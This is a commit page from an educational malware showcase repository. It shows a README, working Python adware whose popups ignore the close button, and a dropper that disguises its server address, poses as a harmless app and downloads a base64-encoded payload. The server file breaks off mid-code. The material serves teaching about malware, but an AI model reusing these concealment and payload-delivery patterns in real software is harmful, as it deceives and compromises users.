Upload folder using huggingface_hub
Browse files- .gitignore +1 -0
- LICENSE +22 -0
- README.md +48 -0
- adware/README.md +46 -0
- adware/adware.py +82 -0
- dropper/README.md +111 -0
- dropper/dropper.py +91 -0
- dropper/server.py +68 -0
- file_infection/README.md +52 -0
- file_infection/infector.py +95 -0
- file_infection/target_file.ext +1 -0
- file_infection/target_folder/target_file_2.ext +1 -0
- logo.svg +150 -0
- ransomware/README.md +68 -0
- ransomware/ransomware.py +141 -0
- ransomware/target_file.ext +1 -0
- requirements.txt +6 -0
- setup_env.sh +34 -0
- spyware/README.md +64 -0
- spyware/keylogger.py +56 -0
- trojan/README.md +91 -0
- trojan/server.py +65 -0
- trojan/trojan.py +71 -0
- worm/README.md +88 -0
- worm/worm.py +98 -0
.gitignore
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
virtualenv
|
LICENSE
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
Copyright (c) 2019 Patrik Holop
|
| 2 |
+
|
| 3 |
+
Permission is hereby granted, free of charge, to any person
|
| 4 |
+
obtaining a copy of this software and associated documentation
|
| 5 |
+
files (the "Software"), to deal in the Software without
|
| 6 |
+
restriction, including without limitation the rights to use,
|
| 7 |
+
copy, modify, merge, publish, distribute, sublicense, and/or sell
|
| 8 |
+
copies of the Software, and to permit persons to whom the
|
| 9 |
+
Software is furnished to do so, subject to the following
|
| 10 |
+
conditions:
|
| 11 |
+
|
| 12 |
+
The above copyright notice and this permission notice shall be
|
| 13 |
+
included in all copies or substantial portions of the Software.
|
| 14 |
+
|
| 15 |
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
| 16 |
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
|
| 17 |
+
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
| 18 |
+
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
|
| 19 |
+
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
|
| 20 |
+
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
| 21 |
+
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
|
| 22 |
+
OTHER DEALINGS IN THE SOFTWARE.
|
README.md
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+

|
| 2 |
+

|
| 3 |
+

|
| 4 |
+

|
| 5 |
+
|
| 6 |
+
# Malware Showcase
|
| 7 |
+
|
| 8 |
+
<img align="middle" src="https://github.com/PatrikH0lop/malware_showcase/blob/master/logo.svg">
|
| 9 |
+
|
| 10 |
+
This repository contains explanatory examples of malicious behavior like _file infection_ or _remote code execution_. It's supposed to demonstrate and explain
|
| 11 |
+
the nature of malicious software with practical examples in Python.
|
| 12 |
+
|
| 13 |
+
**Note:** _This repository contains examples of malicious files. It should be used for educational purposes only. Usage of files in this repository for any other purpose might cause you legal issues, even though the provided examples are very simple. It is advised to follow the instructions._
|
| 14 |
+
|
| 15 |
+
### Showcase structure
|
| 16 |
+
|
| 17 |
+
- **File infector** - This kind of malware infects other files. Common example of such behavior is _code injection_. Malicious code is injected into targeted files and might be later executed. This allows the file infectors to spread. The purpose of their payload might differ, from harmless to destructive behavior.
|
| 18 |
+
- [Simple file infector in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/file_infection)
|
| 19 |
+
- **Trojan (trojan horse)** - This kind of malware tries to look like a legitimate software and the malicious activity is hidden from the victim. Common example of such behaviour is _spying on victims_. Trojans can be more precisely classified by a purpose of the malicious segment. They were named after the Greek story, in which the city of Troy has accepted a statue of wooden horse as a gift from their enemies, while the enemy soldiers were hidden inside.
|
| 20 |
+
- [Simple trojan in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/trojan)
|
| 21 |
+
- **Worm** - This kind of malware tries to spread on the network and does not need a host file to spread. Worms might contain malicious payload and execute commands on the compromised systems or just consume the network bandwidth to jam the communication.
|
| 22 |
+
- [Simple worm in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/worm)
|
| 23 |
+
- **Spyware** - This kind of malware tries to spy on the victim and steal his or her data. There exist various ways of spying on the victim, for example scanning the pressed keys on the keyboard. In comparison with the trojan horse, spyware stays often hidden from the sight of the victim.
|
| 24 |
+
- [Simple keylogger in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/spyware)
|
| 25 |
+
- **Ransomware** - This kind of malware tries to encrypt your files or even restrict your access to the system until a financial ransom is paid. It might continuously remove your files to increase the threat and force you to submit. Ransomwares became very popular in the recent years.
|
| 26 |
+
- [Simple ransomware in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/ransomware)
|
| 27 |
+
- **Adware** - This kind of malware tries to aggressively show ads to the victims. Usually it is just an annoying software that does not have any harmful intentions. Adware might try various methods to make the advertising more persistent.
|
| 28 |
+
- [Simple adware in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/adware)
|
| 29 |
+
- **Dropper** - This kind of malware attemps to download or dump malicious code to the target system. The malware can be secretly embedded in the dropper itself or downloaded from a remote server. It often tries to avoid detection by obfuscation and encryption.
|
| 30 |
+
- [Simple dropper in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/dropper)
|
| 31 |
+
|
| 32 |
+
### Installation
|
| 33 |
+
|
| 34 |
+
Make sure that you have installed [Python3](https://www.python.org/download/), system package `python3-dev` and Python package `wheel`.
|
| 35 |
+
```console
|
| 36 |
+
sudo apt install python3-dev
|
| 37 |
+
pip3 install wheel
|
| 38 |
+
python3 setup.py bdist_wheel # You might need to run this command as well.
|
| 39 |
+
```
|
| 40 |
+
|
| 41 |
+
To setup a virtual environment, run the following command:
|
| 42 |
+
```console
|
| 43 |
+
source setup_env.sh
|
| 44 |
+
```
|
| 45 |
+
Or you can install required Python packages listed in `requirements.txt` on your own.
|
| 46 |
+
If something goes wrong during the installation, the script should provide you information
|
| 47 |
+
about possible failures. You can then focus on the problematic steps in `setup_env.sh` and
|
| 48 |
+
fix the problem.
|
adware/README.md
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Adware
|
| 2 |
+
|
| 3 |
+
Adware is usually the least harmful type of malware, because it tries to promote some products and force the user to see advertisements in many ways, for example in the web browser every time the user loads a website. Our adware shows three annoying popup windows on the screen promoting various products.
|
| 4 |
+
|
| 5 |
+
#### Demonstration of behavior
|
| 6 |
+
|
| 7 |
+
We don't need any specific preparation before an execution of the adware (`./adware.py`). Immediately after the execution we can see three popup windows showing advertisements on our screen. This might be annoying and still relatively fine, but when we press the close button on any popup window, nothing happens and the ad is still shown on the screen.
|
| 8 |
+
|
| 9 |
+
Creation of basic **adware** is very simple process as it is described below. That's why you should be always cautious when executing uncommon or not trusted files.
|
| 10 |
+
|
| 11 |
+
#### How does it work
|
| 12 |
+
|
| 13 |
+
- Firstly, we create our **adware** and pass it arguments from the system. Because we need a proper GUI,
|
| 14 |
+
we are using Python module called [PySide2](https://pypi.org/project/PySide2/). To learn more about GUI programming, see [the guide to GUI programming in Python](https://wiki.qt.io/Qt_for_Python). Our class **Adware** inherits from the **QApplication** and represents main QT application.
|
| 15 |
+
```python
|
| 16 |
+
adware = Adware(sys.argv)
|
| 17 |
+
```
|
| 18 |
+
- We call the method _show_ads()_, which creates dialog popups and pass the references to these forms to variable in main module `windows`. It is important not to loose reference to those windows, because otherwise they will not be shown on the screen.
|
| 19 |
+
```python
|
| 20 |
+
windows = adware.show_ads()
|
| 21 |
+
```
|
| 22 |
+
- Our adware has a property **advert_slogans**, which represents a list of ad slogans we want our victim
|
| 23 |
+
to see. For each of those slogans we want to create a unique popup window by calling the method _create_ad_window()_.
|
| 24 |
+
```python
|
| 25 |
+
ad_windows = []
|
| 26 |
+
for advert in self.advert_slogans:
|
| 27 |
+
# Create a new ad window.
|
| 28 |
+
ad_window = self.create_ad_window(advert)
|
| 29 |
+
```
|
| 30 |
+
- Because these windows would popup on the same place on the screen and overlap each other, we need to move the created popup windows to random location on the screen.
|
| 31 |
+
```python
|
| 32 |
+
# Move this window to random location on screen.
|
| 33 |
+
x_coordinate, y_coordinate = random.randint(1, 800), random.randint(1, 600)
|
| 34 |
+
ad_window.move(x_coordinate, y_coordinate)
|
| 35 |
+
```
|
| 36 |
+
- To create a popup windows, our function _create_ad_window_ creates a new **AdWindow** with the given slogan. To show the window on the screen, we must call the method _show_.
|
| 37 |
+
```python
|
| 38 |
+
window = AdWindow(ad_slogan=ad_slogan)
|
| 39 |
+
window.show()
|
| 40 |
+
```
|
| 41 |
+
- The popup window called **AdWindow** inherits from **QDialog** and represents independent window with
|
| 42 |
+
layout containing only one label showing the ad. However, to make adware more annoying and show ads more aggressively, we set the window to ignore close signal when the victim presses close button. When this happens, the window obtaines information about a new event called **closeEvent**. We will simply ignore any action so the window stays on the screen.
|
| 43 |
+
``` python
|
| 44 |
+
def closeEvent(self, event):
|
| 45 |
+
event.ignore()
|
| 46 |
+
```
|
adware/adware.py
ADDED
|
@@ -0,0 +1,82 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
|
| 3 |
+
""" Implementation of simple adware that pops multiple
|
| 4 |
+
windows with the advertisements.
|
| 5 |
+
"""
|
| 6 |
+
|
| 7 |
+
import logging
|
| 8 |
+
import sys
|
| 9 |
+
import random
|
| 10 |
+
|
| 11 |
+
from PySide2.QtWidgets import QApplication, QDialog, QLabel, QVBoxLayout
|
| 12 |
+
|
| 13 |
+
|
| 14 |
+
class AdWindow(QDialog):
|
| 15 |
+
""" This class represents ad window shown on the screen. """
|
| 16 |
+
|
| 17 |
+
def __init__(self, ad_slogan, parent=None):
|
| 18 |
+
super(AdWindow, self).__init__(parent)
|
| 19 |
+
self.setWindowTitle("Advertisement!")
|
| 20 |
+
|
| 21 |
+
# Create a layout so that the ad slogan is shown.
|
| 22 |
+
self.label = QLabel(ad_slogan)
|
| 23 |
+
layout = QVBoxLayout()
|
| 24 |
+
layout.addWidget(self.label)
|
| 25 |
+
|
| 26 |
+
self.setLayout(layout)
|
| 27 |
+
|
| 28 |
+
def closeEvent(self, event):
|
| 29 |
+
# Ignore the close event so that the ad
|
| 30 |
+
# can't be closed by pressing close button.
|
| 31 |
+
event.ignore()
|
| 32 |
+
|
| 33 |
+
|
| 34 |
+
class Adware(QApplication):
|
| 35 |
+
""" This class represents implementation of adware. """
|
| 36 |
+
|
| 37 |
+
def __init__(self, args):
|
| 38 |
+
super(Adware, self).__init__(args)
|
| 39 |
+
|
| 40 |
+
@property
|
| 41 |
+
def advert_slogans(self):
|
| 42 |
+
""" Slogans of the promoted adds. """
|
| 43 |
+
return (
|
| 44 |
+
'Buy the milk in the milk shops!',
|
| 45 |
+
'Buy the clothes in the wool shops!',
|
| 46 |
+
'Buy the food in the food shops!'
|
| 47 |
+
)
|
| 48 |
+
|
| 49 |
+
def create_ad_window(self, ad_slogan):
|
| 50 |
+
""" Creates a windows showing the advertisement
|
| 51 |
+
slogan.
|
| 52 |
+
|
| 53 |
+
:param str ad_slogan: Text of the ad.
|
| 54 |
+
"""
|
| 55 |
+
window = AdWindow(ad_slogan=ad_slogan)
|
| 56 |
+
window.show()
|
| 57 |
+
return window
|
| 58 |
+
|
| 59 |
+
def show_ads(self):
|
| 60 |
+
""" Creates the main GUI application and shows
|
| 61 |
+
the ads based on `:class:~Adware.advert_slogans`
|
| 62 |
+
"""
|
| 63 |
+
ad_windows = []
|
| 64 |
+
for advert in self.advert_slogans:
|
| 65 |
+
# Create a new ad window.
|
| 66 |
+
ad_window = self.create_ad_window(advert)
|
| 67 |
+
# Move this window to random location on screen.
|
| 68 |
+
x_coordinate, y_coordinate = random.randint(1, 800), random.randint(1, 600)
|
| 69 |
+
ad_window.move(x_coordinate, y_coordinate)
|
| 70 |
+
ad_windows.append(ad_window)
|
| 71 |
+
|
| 72 |
+
return ad_windows
|
| 73 |
+
|
| 74 |
+
|
| 75 |
+
if __name__ == '__main__':
|
| 76 |
+
logging.basicConfig(level=logging.DEBUG)
|
| 77 |
+
|
| 78 |
+
# Create our adware and show the ads.
|
| 79 |
+
adware = Adware(sys.argv)
|
| 80 |
+
windows = adware.show_ads()
|
| 81 |
+
|
| 82 |
+
sys.exit(adware.exec_())
|
dropper/README.md
ADDED
|
@@ -0,0 +1,111 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Dropper
|
| 2 |
+
|
| 3 |
+
Our **dropper** is implemented in the file `dropper.py`. It tries to download some malicious code from a remote server and ideally avoid any detection. The server is implemented in the file `server.py` and sends the malicious payload to the targeted system as soon as the dropper requests a connection. Received payload is dumped into the file and the malware was successfully delivered.
|
| 4 |
+
|
| 5 |
+
#### Demonstration of behavior
|
| 6 |
+
|
| 7 |
+
The first thing that the attacker must do is to set up a server that distributes malware to its clients. Therefore, we will set up a running server on our computer by running `./server.py`. You should see the following text:
|
| 8 |
+
```
|
| 9 |
+
DEBUG:user:Server was successfully initialized.
|
| 10 |
+
```
|
| 11 |
+
In the second console, execute the **dropper** as a victim with the command `./dropper.py`. We should immediately see the following text on the attacker's console:
|
| 12 |
+
```
|
| 13 |
+
Connection with dropper established from ('127.0.0.1', 46682)
|
| 14 |
+
```
|
| 15 |
+
and the server shuts down. This means that our client has successfully connected to our server.
|
| 16 |
+
|
| 17 |
+
To verify that the dropper has served its purpose, list the directory where the dropper is located and you will see that a new file `malware.py` has been created. For demostration purposes, the "malicious" code is just a simple command to print short text. Execute the file by running `python malware.py`. After doing so, you should see the following text:
|
| 18 |
+
```
|
| 19 |
+
Hello there
|
| 20 |
+
```
|
| 21 |
+
|
| 22 |
+
Creation of basic **dropper** is very simple process as it is described below and anyone can do it just with the basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file.
|
| 23 |
+
|
| 24 |
+
#### How does it work?
|
| 25 |
+
|
| 26 |
+
##### Server
|
| 27 |
+
|
| 28 |
+
- Firstly, we create our **server** that should send malicious code to a running **dropper** client executed
|
| 29 |
+
by the victim. The server will listen on the specific port that must be the same as is the one used by our **dropper**.
|
| 30 |
+
In this example, both the **server** and **dropper** will be executed on the same computer, but the
|
| 31 |
+
**server** might be remote and located anywhere in the world.
|
| 32 |
+
```python
|
| 33 |
+
server = Server(27000)
|
| 34 |
+
```
|
| 35 |
+
Communication is realized via **TCP** protocol specified by `socket.SOCK_STREAM` (To learn more about network protocols see [the guide to network communication](https://support.holmsecurity.com/hc/en-us/articles/212963869-What-is-the-difference-between-TCP-and-UDP-). <br>
|
| 36 |
+
```python
|
| 37 |
+
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 38 |
+
```
|
| 39 |
+
|
| 40 |
+
- Then we need to initialize the server by binding it to the specified port.
|
| 41 |
+
```python
|
| 42 |
+
server.initialize()
|
| 43 |
+
```
|
| 44 |
+
- We can observe the malicious command that should be send to the dropper. In this case, it's just a simple command to print some text.
|
| 45 |
+
```python
|
| 46 |
+
@property
|
| 47 |
+
def malware_code(self):
|
| 48 |
+
return b'print("Hello there")'
|
| 49 |
+
```
|
| 50 |
+
- The most important part is the connection with the victim. This is implemented in the _send_malicious_code_ function provided by the **server**. It waits for the connection initiated by the **dropper** after its execution on the victim's system. It then simply sends the payload and terminates the connection.
|
| 51 |
+
```python
|
| 52 |
+
with connection:
|
| 53 |
+
print('Connection with dropper established from {}'.format(address))
|
| 54 |
+
# Send data to the client and close the server.
|
| 55 |
+
encoded_payload = base64.b64encode(self.malicious_code)
|
| 56 |
+
connection.send(encoded_payload)
|
| 57 |
+
```
|
| 58 |
+
- The first attempt to prevent detection is coming and it's encryption of the malicious code. What if someone sees everything we send over the network? If so, our malicious code might be detected immediately and communication stopped or the victim will be notified. That's why we use at least some layer of encryption. For demonstration, we can use basic encoding **base64**. To learn more about **base64** see [the guide to base64](https://blogs.oracle.com/rammenon/base64-explained).
|
| 59 |
+
```python
|
| 60 |
+
encoded_payload = base64.b64encode(self.malicious_code)
|
| 61 |
+
```
|
| 62 |
+
|
| 63 |
+
##### Dropper (client)
|
| 64 |
+
|
| 65 |
+
- Firstly, we must initialize our **dropper**. This service requires a name of the host (server) and the
|
| 66 |
+
specified port for communication. A host named `localhost` means that the server is listening on the same
|
| 67 |
+
system as our client. A second attempt is made to avoid detection. What if someone glanced over the code of our dropper and spots some suspicious address? Or maybe our victim scans the files for possible port numbers and if the number `27000` is displayed, they might suspect something. We have to hide this data somehow, so we pass some innocent looking arguments.
|
| 68 |
+
|
| 69 |
+
```python
|
| 70 |
+
dropper = Dropper('tsoh', 'lacol', 729000000)
|
| 71 |
+
```
|
| 72 |
+
- If someone inspects the code, they can see the methods for network communication. However, based on the arguments passed to our dropper it's not clear with whom and which port will be used (maybe `729000000`?). We can construct the necessary connection attributes dynamically during runtime. Method _decode\_hostname_ takes two strings, switches their order and reserses them. From the first two arguments passed to our dropper we suddenly get the string `localhost`. And to get the port, we can simply calculate the square root from the last argument. Easy to do, but harder to detect.
|
| 73 |
+
```python
|
| 74 |
+
def decode_hostname(self, str1, str2):
|
| 75 |
+
""" Constructs the hostname of remote server. """
|
| 76 |
+
return str2[::-1] + str1[::-1]
|
| 77 |
+
|
| 78 |
+
def decode_port(self, port):
|
| 79 |
+
"""Constructs the port of remote server. """
|
| 80 |
+
return int(math.sqrt(port))
|
| 81 |
+
```
|
| 82 |
+
|
| 83 |
+
- Now, we try to connect to the server. This connection should remain hidden from the victim. The logged message is presented only so that we can detect any errors in our example.
|
| 84 |
+
```python
|
| 85 |
+
try:
|
| 86 |
+
self.socket.connect((self.host, self.port))
|
| 87 |
+
except socket.error:
|
| 88 |
+
logging.debug('Dropper could not connect to the server.')
|
| 89 |
+
return
|
| 90 |
+
```
|
| 91 |
+
|
| 92 |
+
- Then the **dropper** tries to greet the victim as a harmless program.
|
| 93 |
+
```python
|
| 94 |
+
# Try to act as an ordinary application.
|
| 95 |
+
print(
|
| 96 |
+
'Hello, this is a totally ordinary app. '
|
| 97 |
+
'I\'m surely not doing anything malicous'
|
| 98 |
+
)
|
| 99 |
+
```
|
| 100 |
+
- In the meantime, the client will try to receive the malicious code from the remote server. Remember that the data are encrypted using Base64, so we have to decode them and we have successfully downloaded the malware.
|
| 101 |
+
```python
|
| 102 |
+
# Receive the malicious code in the encrypted form.
|
| 103 |
+
command = self.socket.recv(1000)
|
| 104 |
+
# Decode the malicious payload and dump it into a file.
|
| 105 |
+
decode_payload = base64.b64decode(command)
|
| 106 |
+
```
|
| 107 |
+
- The last thing left is to either execute the retrieved code or simply write it into a file. The payload was successfully delivered to the target system by doing so.
|
| 108 |
+
```python
|
| 109 |
+
with open('malware.py', 'wb') as file:
|
| 110 |
+
file.write(data)
|
| 111 |
+
```
|
dropper/dropper.py
ADDED
|
@@ -0,0 +1,91 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
|
| 3 |
+
""" Implementation of dropper that downloads malicious code from the server
|
| 4 |
+
and dumps it into a file.
|
| 5 |
+
"""
|
| 6 |
+
|
| 7 |
+
import base64
|
| 8 |
+
import logging
|
| 9 |
+
import socket
|
| 10 |
+
import math
|
| 11 |
+
|
| 12 |
+
|
| 13 |
+
class Dropper:
|
| 14 |
+
""" This class represents the implementation of dropper.
|
| 15 |
+
"""
|
| 16 |
+
|
| 17 |
+
def __init__(self, host1, host2, number):
|
| 18 |
+
# Construct hostname of the remote server from the first two
|
| 19 |
+
# arguments.
|
| 20 |
+
self._host = self.decode_hostname(host1, host2)
|
| 21 |
+
# Calculate the port number from the last argument.
|
| 22 |
+
self._port = self.decode_port(number)
|
| 23 |
+
# Initialize socket for the connection.
|
| 24 |
+
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 25 |
+
|
| 26 |
+
@property
|
| 27 |
+
def host(self):
|
| 28 |
+
""" Server that sends us the malicious code. """
|
| 29 |
+
return self._host
|
| 30 |
+
|
| 31 |
+
@host.setter
|
| 32 |
+
def host(self, new_host):
|
| 33 |
+
self._host = new_host
|
| 34 |
+
|
| 35 |
+
def decode_hostname(self, str1, str2):
|
| 36 |
+
""" Returns hostname of the remote server. """
|
| 37 |
+
return str2[::-1] + str1[::-1]
|
| 38 |
+
|
| 39 |
+
@property
|
| 40 |
+
def port(self):
|
| 41 |
+
""" Port, on which the server runs (`int`). """
|
| 42 |
+
return self._port
|
| 43 |
+
|
| 44 |
+
@port.setter
|
| 45 |
+
def port(self, new_port):
|
| 46 |
+
self._port = new_port
|
| 47 |
+
|
| 48 |
+
def decode_port(self, port):
|
| 49 |
+
"""Returns target port of the remote server. """
|
| 50 |
+
return int(math.sqrt(port))
|
| 51 |
+
|
| 52 |
+
@property
|
| 53 |
+
def socket(self):
|
| 54 |
+
""" Client socket. """
|
| 55 |
+
return self._socket
|
| 56 |
+
|
| 57 |
+
def dump_data(self, data):
|
| 58 |
+
""" Write the retrieved data from the server into the file.
|
| 59 |
+
"""
|
| 60 |
+
with open('malware.py', 'wb') as file:
|
| 61 |
+
file.write(data)
|
| 62 |
+
|
| 63 |
+
def download_malicious_code(self):
|
| 64 |
+
""" Download malicious code from the server. """
|
| 65 |
+
# Create a connection to the server.
|
| 66 |
+
try:
|
| 67 |
+
self.socket.connect((self.host, self.port))
|
| 68 |
+
except socket.error:
|
| 69 |
+
logging.debug('Dropper could not connect to the server.')
|
| 70 |
+
return
|
| 71 |
+
|
| 72 |
+
# Try to act as an ordinary application.
|
| 73 |
+
print(
|
| 74 |
+
'Hello, this is a totally ordinary app. '
|
| 75 |
+
'I\'m surely not doing anything malicous'
|
| 76 |
+
)
|
| 77 |
+
|
| 78 |
+
# Receive the malicious code in the encrypted form.
|
| 79 |
+
command = self.socket.recv(1000)
|
| 80 |
+
# Decode the command and dump it into a file.
|
| 81 |
+
decode_payload = base64.b64decode(command)
|
| 82 |
+
self.dump_data(decode_payload)
|
| 83 |
+
|
| 84 |
+
|
| 85 |
+
if __name__ == '__main__':
|
| 86 |
+
logging.basicConfig(level=logging.DEBUG)
|
| 87 |
+
|
| 88 |
+
# Initialize dropper application.
|
| 89 |
+
dropper = Dropper('tsoh', 'lacol', 729000000)
|
| 90 |
+
# Collect the malicious code and dump it into the file.
|
| 91 |
+
dropper.download_malicious_code()
|
dropper/server.py
ADDED
|
@@ -0,0 +1,68 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
|
| 3 |
+
""" Implementation of the server that sends some malicious code to its
|
| 4 |
+
dropper client.
|
| 5 |
+
"""
|
| 6 |
+
|
| 7 |
+
import base64
|
| 8 |
+
import logging
|
| 9 |
+
import socket
|
| 10 |
+
|
| 11 |
+
|
| 12 |
+
class Server:
|
| 13 |
+
""" This class represents a server that stores some malicious payload and sends
|
| 14 |
+
it to the dropper once the connection is established.
|
| 15 |
+
"""
|
| 16 |
+
|
| 17 |
+
def __init__(self, port):
|
| 18 |
+
self._port = port
|
| 19 |
+
# Initialize the socket for connection.
|
| 20 |
+
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 21 |
+
|
| 22 |
+
@property
|
| 23 |
+
def malicious_code(self):
|
| 24 |
+
""" Malicious payload. In this case just a demonstrative command. """
|
| 25 |
+
return b'print("Hello there")'
|
| 26 |
+
|
| 27 |
+
@property
|
| 28 |
+
def port(self):
|
| 29 |
+
""" Port, on which the server runs (`int`). """
|
| 30 |
+
return self._port
|
| 31 |
+
|
| 32 |
+
@port.setter
|
| 33 |
+
def port(self, new_port):
|
| 34 |
+
self._port = new_port
|
| 35 |
+
|
| 36 |
+
@property
|
| 37 |
+
def socket(self):
|
| 38 |
+
""" Server socket. """
|
| 39 |
+
return self._socket
|
| 40 |
+
|
| 41 |
+
def initialize(self):
|
| 42 |
+
""" Initialize server before the session. """
|
| 43 |
+
try:
|
| 44 |
+
self.socket.bind(('localhost', self._port))
|
| 45 |
+
self.socket.listen()
|
| 46 |
+
logging.debug('Server was successfully initialized.')
|
| 47 |
+
except socket.error:
|
| 48 |
+
